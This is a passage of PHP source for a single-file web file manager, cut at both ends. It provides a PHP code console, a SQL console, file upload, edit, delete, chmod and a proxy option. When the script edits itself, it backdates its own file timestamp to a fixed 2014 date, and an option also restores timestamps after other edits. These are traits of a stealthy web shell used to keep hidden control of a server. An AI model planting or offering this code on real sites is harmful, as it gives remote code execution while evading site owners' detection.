    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
